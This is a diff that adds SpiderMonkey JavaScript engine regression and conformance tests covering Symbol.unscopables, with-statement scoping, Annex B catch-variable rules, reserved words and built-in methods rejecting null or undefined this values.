+// When obj[@@unscopables].x changes, bindings appear and disappear accordingly.
+
+let x = "global";
+function getX() { return x; }
+
+let unscopables = {x: true};
+let obj = {x: "obj", [Symbol.unscopables]: unscopables};
+
+with (obj) {
+ assertEq(x, "global");
+ x = "global-1";
+ assertEq(x, "global-1");
+ assertEq(obj.x, "obj");
+
+ unscopables.x = false; // suddenly x appears in the with-environment
+
+ assertEq(x, "obj");
+ x = "obj-1";
+ assertEq(getX(), "global-1"); // unchanged
+ assertEq(obj.x, "obj-1");
+
+ unscopables.x = true; // *poof*
+
+ assertEq(x, "global-1");
+ x = "global-2";
+ assertEq(getX(), "global-2");
+ assertEq(obj.x, "obj-1"); // unchanged
+
+ // The determination of which binding is assigned happens when the LHS of
+ // assignment is evaluated, before the RHS. This is observable if we make
+ // the binding appear or disappear during evaluation of the RHS, before
+ // assigning.
+ x = (unscopables.x = false, "global-3");
+ assertEq(getX(), "global-3");
+ assertEq(obj.x, "obj-1");
+
+ x = (unscopables.x = true, "obj-2");
+ assertEq(getX(), "global-3");
+ assertEq(obj.x, "obj-2");
+}
+
+assertEq(x, "global-3");
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/lexical-environment/unscopables-proto.js b/js/src/tests/non262/lexical-environment/unscopables-proto.js
new file mode 100644
index 0000000000..dbbfb712d3
--- /dev/null
+++ b/js/src/tests/non262/lexical-environment/unscopables-proto.js
@@ -0,0 +1,39 @@
+// @@unscopables treats properties found on prototype chains the same as other
+// properties.
+
+const x = "global x";
+const y = "global y";
+
+// obj[@@unscopables].x works when obj.x is inherited via the prototype chain.
+let proto = {x: "object x", y: "object y"};
+let env = Object.create(proto);
+env[Symbol.unscopables] = {x: true, y: false};
+with (env) {
+ assertEq(x, "global x");
+ assertEq(delete x, false);
+ assertEq(y, "object y");
+}
+assertEq(env.x, "object x");
+
+// @@unscopables works if is inherited via the prototype chain.
+env = {
+ x: "object",
+ [Symbol.unscopables]: {x: true, y: true}
+};
+for (let i = 0; i < 50; i++)
+ env = Object.create(env);
+env.y = 1;
+with (env) {
+ assertEq(x, "global x");
+ assertEq(y, "global y");
+}
+
+// @@unscopables works if the obj[@@unscopables][id] property is inherited.
+env = {
+ x: "object",
+ [Symbol.unscopables]: Object.create({x: true})
+};
+with (env)
+ assertEq(x, "global x");
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/lexical-environment/unscopables-proxy.js b/js/src/tests/non262/lexical-environment/unscopables-proxy.js
new file mode 100644
index 0000000000..fcf241ee46
--- /dev/null
+++ b/js/src/tests/non262/lexical-environment/unscopables-proxy.js
@@ -0,0 +1,46 @@
+// Object operations are performed in the right order, as observed by proxies.
+
+let log = [];
+function LoggingProxyHandlerWrapper(name, handler={}) {
+ return new Proxy(handler, {
+ get(t, id) {
+ let method = handler[id];
+ return function (...args) {
+ log.push([name + "." + id, ...args.filter(v => typeof v !== "object")]);
+ if (method === undefined)
+ return Reflect[id].apply(null, args);
+ return method.apply(this, args);
+ };
+ }
+ });
+}
+
+function LoggingProxy(name, target) {
+ return new Proxy(target, new LoggingProxyHandlerWrapper(name));
+}
+
+let proto = {x: 44};
+let proto_proxy = new LoggingProxy("proto", proto);
+let unscopables = {x: true};
+let unscopables_proxy = new LoggingProxy("unscopables", {x: true});
+let env = Object.create(proto_proxy, {
+ [Symbol.unscopables]: { value: unscopables_proxy }
+});
+let env_proxy = new LoggingProxy("env", env);
+
+let x = 11;
+function f() {
+ with (env_proxy)
+ return x;
+}
+
+assertEq(f(), 11);
+
+assertDeepEq(log, [
+ ["env.has", "x"],
+ ["proto.has", "x"],
+ ["env.get", Symbol.unscopables],
+ ["unscopables.get", "x"]
+]);
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/lexical-environment/unscopables-strict.js b/js/src/tests/non262/lexical-environment/unscopables-strict.js
new file mode 100644
index 0000000000..fd0413ed7b
--- /dev/null
+++ b/js/src/tests/non262/lexical-environment/unscopables-strict.js
@@ -0,0 +1,32 @@
+// Strict assignment to the name of a property that's masked by @@unscopables
+// throws a ReferenceError.
+
+let env = {k: 1};
+let f;
+with (env) {
+ f = function () {
+ "use strict";
+ k = 2;
+ };
+}
+
+f();
+assertEq(env.k, 2);
+
+env[Symbol.unscopables] = {k: true};
+assertThrowsInstanceOf(f, ReferenceError);
+
+// @@unscopables is tested when the LHS of assignment is evaluated, so there is
+// no effect on the assignment if it is changed while evaluating the RHS.
+let g;
+with (env) {
+ g = function () {
+ "use strict";
+ k = (env[Symbol.unscopables].k = true, 3);
+ }
+}
+env[Symbol.unscopables].k = false;
+g();
+assertEq(env.k, 3);
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/lexical-environment/unscopables-tdz.js b/js/src/tests/non262/lexical-environment/unscopables-tdz.js
new file mode 100644
index 0000000000..ce6b1df929
--- /dev/null
+++ b/js/src/tests/non262/lexical-environment/unscopables-tdz.js
@@ -0,0 +1,9 @@
+// Accessing an uninitialized variable due to @@unscopables is still a ReferenceError.
+
+with ({x: 1, [Symbol.unscopables]: {x: true}})
+ assertThrowsInstanceOf(() => x, ReferenceError);
+
+let x;
+
+reportCompare(0, 0);
+
diff --git a/js/src/tests/non262/lexical-environment/var-in-catch-body-annex-b-eval-destructuring.js b/js/src/tests/non262/lexical-environment/var-in-catch-body-annex-b-eval-destructuring.js
new file mode 100644
index 0000000000..06174013e8
--- /dev/null
+++ b/js/src/tests/non262/lexical-environment/var-in-catch-body-annex-b-eval-destructuring.js
@@ -0,0 +1,10 @@
+// |reftest| skip-if(!xulRuntime.shell)
+
+assertThrowsInstanceOf(() => evaluate(`try { throw {} } catch ({e}) { var e; }`), SyntaxError);
+assertThrowsInstanceOf(() => evaluate(`try { throw {} } catch ({e}) { eval('var e'); }`), SyntaxError);
+
+assertThrowsInstanceOf(() => new Function(`try { throw {} } catch ({e}) { var e; }`), SyntaxError);
+assertThrowsInstanceOf(new Function(`try { throw {} } catch ({e}) { eval('var e'); }`), SyntaxError);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/lexical-environment/var-in-catch-body-annex-b-eval-for-of.js b/js/src/tests/non262/lexical-environment/var-in-catch-body-annex-b-eval-for-of.js
new file mode 100644
index 0000000000..b433b68b6e
--- /dev/null
+++ b/js/src/tests/non262/lexical-environment/var-in-catch-body-annex-b-eval-for-of.js
@@ -0,0 +1,12 @@
+// |reftest| skip-if(!xulRuntime.shell)
+
+evaluate(`
+ try { throw null; } catch (e) { eval("for (var e of []) {}") }
+`);
+
+new Function(`
+ try { throw null; } catch (e) { eval("for (var e of []) {}") }
+`)();
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/lexical-environment/var-in-catch-body-annex-b-eval.js b/js/src/tests/non262/lexical-environment/var-in-catch-body-annex-b-eval.js
new file mode 100644
index 0000000000..e380846e25
--- /dev/null
+++ b/js/src/tests/non262/lexical-environment/var-in-catch-body-annex-b-eval.js
@@ -0,0 +1,21 @@
+// Tests annex B.3.5 that introduces a var via direct eval.
+
+var x = "global-x";
+var log = "";
+
+// Tests that direct eval works.
+function g() {
+ try { throw 8; } catch (x) {
+ eval("var x = 42;");
+ log += x;
+ }
+ x = "g";
+ log += x;
+}
+g();
+
+assertEq(x, "global-x");
+assertEq(log, "42g");
+
+if ("reportCompare" in this)
+ reportCompare(true, true)
diff --git a/js/src/tests/non262/lexical-environment/var-in-catch-body-annex-b.js b/js/src/tests/non262/lexical-environment/var-in-catch-body-annex-b.js
new file mode 100644
index 0000000000..6e6a24f213
--- /dev/null
+++ b/js/src/tests/non262/lexical-environment/var-in-catch-body-annex-b.js
@@ -0,0 +1,114 @@
+// Tests annex B.3.5.
+
+assertThrowsInstanceOf(function () {
+ eval(`
+ function f() {
+ let x;
+ try {} catch (x) {
+ var x;
+ }
+ }
+ `);
+}, SyntaxError);
+
+assertThrowsInstanceOf(function () {
+ eval(`
+ function f() {
+ try {} catch (x) {
+ let y;
+ var y;
+ }
+ }
+ `);
+}, SyntaxError);
+
+assertThrowsInstanceOf(function () {
+ eval(`
+ function f() {
+ try {} catch (x) {
+ let x;
+ }
+ }
+ `);
+}, SyntaxError);
+
+assertThrowsInstanceOf(function () {
+ eval(`
+ function f() {
+ try {} catch (x) {
+ const x;
+ }
+ }
+ `);
+}, SyntaxError);
+
+// Tests that redeclaring a var inside the catch is not allowed if there's a
+// body-level lexical.
+assertThrowsInstanceOf(function () {
+ eval(`
+ let x;
+ try {} catch (x) {
+ var x;
+ }
+ `);
+}, SyntaxError);
+
+var log = '';
+var x = 'global-x';
+
+function g() {
+ x = 'g';
+ try { throw 8; } catch (x) {
+ var x = 42;
+ log += x;
+ }
+ log += x;
+}
+g();
+
+// Tests that var declaration is allowed in for-in head.
+function h0() {
+ try {} catch (e) {
+ for (var e in {});
+ }
+}
+h0();
+
+// Tests that var declaration is allowed in C-for head.
+function h1() {
+ try {} catch (e) {
+ for (var e;;);
+ }
+}
+h1();
+
+// Tests that var declaration is allowed in for-of head.
+function h2() {
+ try {} catch (e) {
+ for (var e of {});
+ }
+}
+h2();
+
+// Tests that redeclaring a var inside the catch is allowed.
+function h3() {
+ var e;
+ try {} catch (e) {
+ var e;
+ }
+}
+h3();
+
+if (typeof evaluate === "function") {
+ assertThrowsInstanceOf(function () {
+ evaluate(`
+ let y;
+ try {} catch (y) { var y; }
+ `);
+ }, SyntaxError);
+}
+
+assertEq(log, "42g");
+
+if ("reportCompare" in this)
+ reportCompare(true, true)
diff --git a/js/src/tests/non262/lexical-environment/with-global-ignores-global-let-variables.js b/js/src/tests/non262/lexical-environment/with-global-ignores-global-let-variables.js
new file mode 100644
index 0000000000..042f92f688
--- /dev/null
+++ b/js/src/tests/non262/lexical-environment/with-global-ignores-global-let-variables.js
@@ -0,0 +1,18 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+let v = "global-v";
+
+function f(v, global)
+{
+ with (global)
+ return v;
+}
+
+assertEq(f("argument-v", this), "argument-v",
+ "let-var shouldn't appear in global for |with| purposes");
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/lexical/browser.js b/js/src/tests/non262/lexical/browser.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/lexical/browser.js
diff --git a/js/src/tests/non262/lexical/regress-336376-01.js b/js/src/tests/non262/lexical/regress-336376-01.js
new file mode 100644
index 0000000000..ef6a0f435d
--- /dev/null
+++ b/js/src/tests/non262/lexical/regress-336376-01.js
@@ -0,0 +1,322 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = "336376";
+var summary = "Tests reserved words in contexts in which they are not reserved";
+var actual, expect;
+
+printBugNumber(BUGNUMBER);
+printStatus(summary);
+
+/**************
+ * TEST SETUP *
+ **************/
+
+//
+// New tests go in Tester.prototype._tests. A test is called with a single
+// argument, the keyword to test in the syntax tested by that test. Tests
+// should not return anything, and they should signal failure by throwing an
+// explanatory exception and success by not throwing one.
+//
+// If you define a new test, make sure to name it using an informative string
+// for ease of use if any keywords ever manually define the array of tests they
+// should pass, and add it as a string to ALL_TESTS.
+//
+
+// all tests
+const ALL_TESTS =
+ [
+ "CONTEXT_OBJECT_LITERAL_PROPERTY",
+ "CONTEXT_OBJECT_PROPERTY_DOT_REFERENCE",
+ "CONTEXT_OBJECT_PROPERTY_DOT_REFERENCE_IS_FUNCTION",
+ "CONTEXT_OBJECT_PROPERTY_DOT_GET",
+ "CONTEXT_OBJECT_PROPERTY_DOT_SET",
+ ];
+
+function r(keyword, tests)
+{
+ /**
+ * @param keyword
+ * the keyword as a string
+ * @param tests
+ * array of test numbers against it, or leave undefined to run all tests
+ * against it
+ */
+ function Reserved(keyword, tests)
+ {
+ this.keyword = keyword;
+ if (tests)
+ this.tests = tests;
+ else
+ this.tests = ALL_TESTS;
+ }
+ Reserved.prototype =
+ {
+ toString:
+ function()
+ {
+ return "'" + this.keyword + "' being run against tests " +
+ this.tests;
+ }
+ };
+ return new Reserved(keyword, tests);
+}
+
+// ECMA-262, 3rd. ed. keywords -- see 7.5.2
+const ECMA_262_3_KEYWORD =
+ [
+ r("break"),
+ r("case"),
+ r("catch"),
+ r("continue"),
+ r("default"),
+ r("delete"),
+ r("do"),
+ r("else"),
+ r("finally"),
+ r("for"),
+ r("function"),
+ r("if"),
+ r("in"),
+ r("instanceof"),
+ r("new"),
+ r("return"),
+ r("switch"),
+ r("this"),
+ r("throw"),
+ r("try"),
+ r("typeof"),
+ r("var"),
+ r("void"),
+ r("while"),
+ r("with"),
+ ];
+
+// ECMA-262, 3rd. ed. future reserved keywords -- see 7.5.3
+const ECMA_262_3_FUTURERESERVEDKEYWORD =
+ [
+ r("abstract"),
+ r("boolean"),
+ r("byte"),
+ r("char"),
+ r("class"),
+ r("const"),
+ r("debugger"),
+ r("double"),
+ r("enum"),
+ r("export"),
+ r("extends"),
+ r("final"),
+ r("float"),
+ r("goto"),
+ r("implements"),
+ r("import"),
+ r("int"),
+ r("interface"),
+ r("long"),
+ r("native"),
+ r("package"),
+ r("private"),
+ r("protected"),
+ r("public"),
+ r("short"),
+ r("static"),
+ r("super"),
+ r("synchronized"),
+ r("throws"),
+ r("transient"),
+ r("volatile"),
+ ];
+
+// like reserved words, but not quite reserved words
+const PSEUDO_RESERVED =
+ [
+ r("true"),
+ r("false"),
+ r("null"),
+ ];
+
+// new-in-ES4 reserved words -- fill this as each is implemented
+const ECMA_262_4_RESERVED_WORDS =
+ [
+ r("let")
+ ];
+
+
+
+/**
+ * @param keyword
+ * string containing the tested keyword
+ * @param test
+ * the number of the failing test
+ * @param error
+ * the exception thrown when running the test
+ */
+function Failure(keyword, test, error)
+{
+ this.keyword = keyword;
+ this.test = test;
+ this.error = error;
+}
+Failure.prototype =
+{
+ toString:
+ function()
+ {
+ return "*** FAILURE on '" + this.keyword + "'!\n" +
+ "* test: " + this.test + "\n" +
+ "* error: " + this.error + "\n";
+ }
+};
+
+function Tester()
+{
+ this._failedTests = [];
+}
+Tester.prototype =
+{
+ testReservedWords:
+ function(reservedArray)
+ {
+ var rv;
+ for (var i = 0, sz = reservedArray.length; i < sz; i++)
+ {
+ var res = reservedArray[i];
+ if (!res)
+ continue;
+
+ var tests = res.tests;
+ for (var j = 0, sz2 = tests.length; j < sz2; j++)
+ {
+ var test = tests[j];
+ if (!test)
+ continue;
+
+ try
+ {
+ this._tests[test](res.keyword);
+ }
+ catch (e)
+ {
+ this._failedTests.push(new Failure(res.keyword, test, e));
+ }
+ }
+ }
+ },
+ flushErrors:
+ function ()
+ {
+ if (this._failedTests.length > 0) {
+ var except = "*************************\n" +
+ "* FAILURES ENCOUNTERED! *\n" +
+ "*************************\n";
+ for (var i = 0, sz = this._failedTests.length; i < sz; i++)
+ except += this._failedTests[i];
+ throw except;
+ }
+ },
+ _tests:
+ {
+ CONTEXT_OBJECT_LITERAL_PROPERTY:
+ function(keyword)
+ {
+ try
+ {
+ eval("var o = { " + keyword + ": 17 };\n" +
+ "if (o['" + keyword + "'] != 17)\n" +
+ "throw \"o['" + keyword + "'] == 17\";");
+ }
+ catch (e)
+ {
+ throw e;
+ }
+ },
+ CONTEXT_OBJECT_PROPERTY_DOT_REFERENCE:
+ function(keyword)
+ {
+ try
+ {
+ eval("var o = { \"" + keyword + "\": 17, baz: null };\n" +
+ "if (o." + keyword + " != 17)\n" +
+ "throw \"o." + keyword + " == 17\";");
+ }
+ catch (e)
+ {
+ throw e;
+ }
+ },
+ CONTEXT_OBJECT_PROPERTY_DOT_REFERENCE_IS_FUNCTION:
+ function(keyword)
+ {
+ try
+ {
+ eval("var o = { '" + keyword + "': function() { return 17; }, baz: null };\n" +
+ "if (o." + keyword + "() != 17)\n" +
+ "throw \"o." + keyword + " == 17\";");
+ }
+ catch (e)
+ {
+ throw e;
+ }
+ },
+ CONTEXT_OBJECT_PROPERTY_DOT_GET:
+ function(keyword)
+ {
+ try
+ {
+ var o = {};
+ eval("o['" + keyword + "'] = 17;\n" +
+ "if (o." + keyword + " != 17)\n" +
+ "throw \"'o." + keyword + " != 17' failed!\";");
+ }
+ catch (e)
+ {
+ throw e;
+ }
+ },
+ CONTEXT_OBJECT_PROPERTY_DOT_SET:
+ function(keyword)
+ {
+ try
+ {
+ var o = {};
+ eval("o." + keyword + " = 17;\n" +
+ "if (o['" + keyword + "'] != 17)\n" +
+ "throw \"'o." + keyword + " = 17' failed!\";");
+ }
+ catch (e)
+ {
+ throw e;
+ }
+ },
+ }
+};
+
+
+/***************
+ * BEGIN TESTS *
+ ***************/
+
+var failed = false;
+
+try
+{
+ var tester = new Tester();
+ tester.testReservedWords(ECMA_262_3_KEYWORD);
+ tester.testReservedWords(ECMA_262_3_FUTURERESERVEDKEYWORD);
+ tester.testReservedWords(PSEUDO_RESERVED);
+ tester.testReservedWords(ECMA_262_4_RESERVED_WORDS);
+ tester.flushErrors();
+}
+catch (e)
+{
+ failed = e;
+}
+
+expect = false;
+actual = failed;
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/lexical/regress-346642-04.js b/js/src/tests/non262/lexical/regress-346642-04.js
new file mode 100644
index 0000000000..6898864904
--- /dev/null
+++ b/js/src/tests/non262/lexical/regress-346642-04.js
@@ -0,0 +1,33 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 346642;
+var summary = 'decompilation of destructuring assignment';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = 'No Crash';
+ actual = 'No Crash';
+ try
+ {
+ (function() { for (var [a, b] in []) for ([c, d] in []) { } });
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/lexical/regress-351515.js b/js/src/tests/non262/lexical/regress-351515.js
new file mode 100644
index 0000000000..47690b7455
--- /dev/null
+++ b/js/src/tests/non262/lexical/regress-351515.js
@@ -0,0 +1,94 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 351515;
+var summary = 'Invalid uses of yield, let keywords in js17';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+try
+{
+ expect = "No Error";
+ eval('yield = 1;');
+ actual = 'No Error';
+}
+catch(ex)
+{
+ actual = ex.name;
+}
+reportCompare(expect, actual, summary + ': global: yield = 1');
+
+try
+{
+ expect = "No Error";
+ eval('(function(){yield = 1;})');
+ actual = 'No Error';
+}
+catch(ex)
+{
+ actual = ex.name;
+}
+reportCompare(expect, actual, summary + ': local: yield = 1');
+
+try
+{
+ expect = "No Error";
+ eval('let = 1;');
+ actual = 'No Error';
+}
+catch(ex)
+{
+ actual = ex.name;
+}
+reportCompare(expect, actual, summary + ': global: let = 1');
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ try
+ {
+ expect = "No Error";
+ eval('function f(yield, let) { return yield+let; }');
+ actual = 'No Error';
+ }
+ catch(ex)
+ {
+ actual = ex.name;
+ }
+ reportCompare(expect, actual, summary +
+ ': function f(yield, let) { return yield+let; }');
+
+ try
+ {
+ expect = "No Error";
+ eval('var yield = 1;');
+ actual = 'No Error';
+ }
+ catch(ex)
+ {
+ actual = ex.name;
+ }
+ reportCompare(expect, actual, summary + ': function () {var yield;}');
+
+ try
+ {
+ expect = "No Error";
+ eval('var let = 1;');
+ actual = 'No Error';
+ }
+ catch(ex)
+ {
+ actual = ex.name;
+ }
+ reportCompare(expect, actual, summary + ': function () { var let;}');
+}
diff --git a/js/src/tests/non262/lexical/shell.js b/js/src/tests/non262/lexical/shell.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/lexical/shell.js
diff --git a/js/src/tests/non262/literals/numeric/idstart-after-numeric.js b/js/src/tests/non262/literals/numeric/idstart-after-numeric.js
new file mode 100644
index 0000000000..1678c17854
--- /dev/null
+++ b/js/src/tests/non262/literals/numeric/idstart-after-numeric.js
@@ -0,0 +1,15 @@
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/ */
+
+var BUGNUMBER = '523401';
+var summary = 'numeric literal followed by an identifier';
+
+var array = new Array();
+assertThrowsInstanceOf(() => eval("array[0for]"), SyntaxError);
+assertThrowsInstanceOf(() => eval("array[1yield]"), SyntaxError);
+assertThrowsInstanceOf(() => eval("array[2in []]"), SyntaxError); // "2 in []" is valid.
+reportCompare(array[2 in []], undefined);
+reportCompare(2 in [], false);
+assertThrowsInstanceOf(() => eval("array[3in]"), SyntaxError);
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/literals/numeric/shell.js b/js/src/tests/non262/literals/numeric/shell.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/literals/numeric/shell.js
diff --git a/js/src/tests/non262/literals/shell.js b/js/src/tests/non262/literals/shell.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/literals/shell.js
diff --git a/js/src/tests/non262/misc/browser.js b/js/src/tests/non262/misc/browser.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/misc/browser.js
diff --git a/js/src/tests/non262/misc/bug1126318.js b/js/src/tests/non262/misc/bug1126318.js
new file mode 100644
index 0000000000..73ccdc07a7
--- /dev/null
+++ b/js/src/tests/non262/misc/bug1126318.js
@@ -0,0 +1,13 @@
+if (typeof window === "undefined")
+ window = this;
+
+Object.defineProperty(window, "foo", {
+ get: function() { return 5; },
+ configurable: true
+});
+
+for (var i = 0; i < 100; ++i)
+ assertEq(window.foo, 5);
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/misc/builtin-methods-reject-null-undefined-this.js b/js/src/tests/non262/misc/builtin-methods-reject-null-undefined-this.js
new file mode 100644
index 0000000000..c6f0a8f39a
--- /dev/null
+++ b/js/src/tests/non262/misc/builtin-methods-reject-null-undefined-this.js
@@ -0,0 +1,156 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 619283;
+var summary =
+ "ECMAScript built-in methods that immediately throw when |this| is " +
+ "|undefined| or |null| (due to CheckObjectCoercible, ToObject, or ToString)";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+// We can't just exhaustively loop over everything because 1) method properties
+// might be extensions with special |this| handling, and 2) some methods don't
+// *quite* immediately throw a TypeError, first thing, if |this| is |undefined|
+// or |null|, or their algorithms are very slightly ambiguous about whether they
+// do. Why? Ipse-dixitism. *shrug*
+
+var ClassToMethodMap =
+ {
+ Object: [/* "toString" has special |this| handling */
+ "toLocaleString", "valueOf", "hasOwnProperty",
+ /*
+ * "isPrototypeOf" has special |this| handling already tested in
+ * non262/Object/isPrototypeOf.js.
+ */
+ /*
+ * "isPrototypeOf" has special |this| handling already tested in
+ * non262/Object/propertyIsEnumerable.js.
+ */
+ "__defineGetter__", "__defineSetter__",
+ "__lookupGetter__", "__lookupSetter__",
+ ],
+ // Function methods often don't ToObject(this) as their very first step,
+ // and they're already stepwise well-tested such that manual tests here
+ // would be redundant.
+ Array: ["toString", "toLocaleString", "concat", "join", "pop", "push",
+ "reverse", "shift", "slice", "sort", "splice", "unshift",
+ "indexOf", "lastIndexOf", "every", "some", "forEach", "map",
+ "filter", "reduce", "reduceRight"],
+ String: ["toString", "valueOf", "charAt", "charCodeAt", "concat",
+ "indexOf", "lastIndexOf", "localeCompare", "match", "replace",
+ "search", "slice", "split", "substring", "toLowerCase",
+ "toLocaleLowerCase", "toUpperCase", "toLocaleUpperCase", "trim",
+ "bold", "italics", "fixed", "fontsize",
+ "fontcolor", "link", "anchor", "strike", "small", "big", "blink",
+ "sup", "sub", "substr", "trimLeft", "trimRight",
+ ],
+ Boolean: ["toString", "valueOf"],
+ Number: ["toString", "toLocaleString", "valueOf",
+ /*
+ * toFixed doesn't *immediately* test |this| for number or
+ * Number-ness, but because the ToInteger(void 0) which arguably
+ * precedes it in the toFixed algorithm won't throw in this test,
+ * we don't need to specially test it.
+ */
+ "toFixed",
+ "toExponential", "toPrecision"],
+ Date: ["toDateString", "toTimeString", "toLocaleString",
+ "toLocaleDateString", "toLocaleTimeString", "valueOf", "getTime",
+ "getFullYear", "getUTCFullYear", "getMonth", "getUTCMonth",
+ "getDate", "getUTCDate", "getDay", "getUTCDay", "getHours",
+ "getUTCHours", "getMinutes", "getUTCMinutes", "getSeconds",
+ "getUTCSeconds", "getMilliseconds", "getUTCMilliseconds",
+ /*
+ * toFixed doesn't *immediately* test |this| for number or
+ * Number-ness, but because the TimeClip(ToNumber(void 0)) which
+ * arguably precedes it in the setTime algorithm won't throw in
+ * this test, we don't need to specially test it.
+ */
+ "setTime",
+ "getTimezoneOffset", "setMilliseconds", "setUTCMilliseconds",
+ "setSeconds", "setUTCSeconds", "setMinutes", "setUTCMinutes",
+ "setHours", "setUTCHours", "setDate", "setUTCDate", "setMonth",
+ "setUTCMonth", "setFullYear", "setUTCFullYear", "toUTCString",
+ "toISOString", "toJSON",
+ "getYear", "setYear", "toGMTString"],
+ RegExp: ["exec", "test", "toString"],
+ Error: ["toString"],
+ };
+
+var badThisValues = [null, undefined];
+
+function testMethod(Class, className, method)
+{
+ var expr;
+
+ // Try out explicit this values
+ for (var i = 0, sz = badThisValues.length; i < sz; i++)
+ {
+ var badThis = badThisValues[i];
+
+ expr = className + ".prototype." + method + ".call(" + badThis + ")";
+ try
+ {
+ Class.prototype[method].call(badThis);
+ throw new Error(expr + " didn't throw a TypeError");
+ }
+ catch (e)
+ {
+ assertEq(e instanceof TypeError, true,
+ "wrong error for " + expr + ", instead threw " + e);
+ }
+
+ expr = className + ".prototype." + method + ".apply(" + badThis + ")";
+ try
+ {
+ Class.prototype[method].apply(badThis);
+ throw new Error(expr + " didn't throw a TypeError");
+ }
+ catch (e)
+ {
+ assertEq(e instanceof TypeError, true,
+ "wrong error for " + expr + ", instead threw " + e);
+ }
+ }
+
+ // ..and for good measure..
+
+ expr = "(0, " + className + ".prototype." + method + ")()"
+ try
+ {
+ // comma operator to call GetValue() on the method and de-Reference it
+ (0, Class.prototype[method])();
+ throw new Error(expr + " didn't throw a TypeError");
+ }
+ catch (e)
+ {
+ assertEq(e instanceof TypeError, true,
+ "wrong error for " + expr + ", instead threw " + e);
+ }
+}
+
+for (var className in ClassToMethodMap)
+{
+ var Class = this[className];
+
+ var methodNames = ClassToMethodMap[className];
+ for (var i = 0, sz = methodNames.length; i < sz; i++)
+ {
+ var method = methodNames[i];
+ testMethod(Class, className, method);
+ }
+}
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/non262/misc/enumerate-undefined.js b/js/src/tests/non262/misc/enumerate-undefined.js
new file mode 100644
index 0000000000..17bc1c4c87
--- /dev/null
+++ b/js/src/tests/non262/misc/enumerate-undefined.js
@@ -0,0 +1,24 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 547087;
+var summary = 'JS_EnumerateStandardClasses uses wrong attributes for undefined';
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+for (var p in this);
+
+assertEq(Object.getOwnPropertyDescriptor(this, "undefined").writable, false);
+
+/******************************************************************************/
+
+reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/non262/misc/error-undefined-message.js b/js/src/tests/non262/misc/error-undefined-message.js
new file mode 100644
index 0000000000..8a9202b8fd
--- /dev/null
+++ b/js/src/tests/non262/misc/error-undefined-message.js
@@ -0,0 +1,7 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+assertEq(new Error().hasOwnProperty('message'), false);
+assertEq(new Error(undefined).hasOwnProperty('message'), false);
+
+reportCompare(0, 0, 'ok');
diff --git a/js/src/tests/non262/misc/explicit-undefined-optional-argument.js b/js/src/tests/non262/misc/explicit-undefined-optional-argument.js
new file mode 100644
index 0000000000..f861ccfdb1
--- /dev/null
+++ b/js/src/tests/non262/misc/explicit-undefined-optional-argument.js
@@ -0,0 +1,34 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+var BUGNUMBER = 373118;
+var summary =
+ 'Properly handle explicitly-undefined optional arguments to a bunch of ' +
+ 'functions';
+
+print(BUGNUMBER + ": " + summary);
+
+//-----------------------------------------------------------------------------
+
+var a;
+
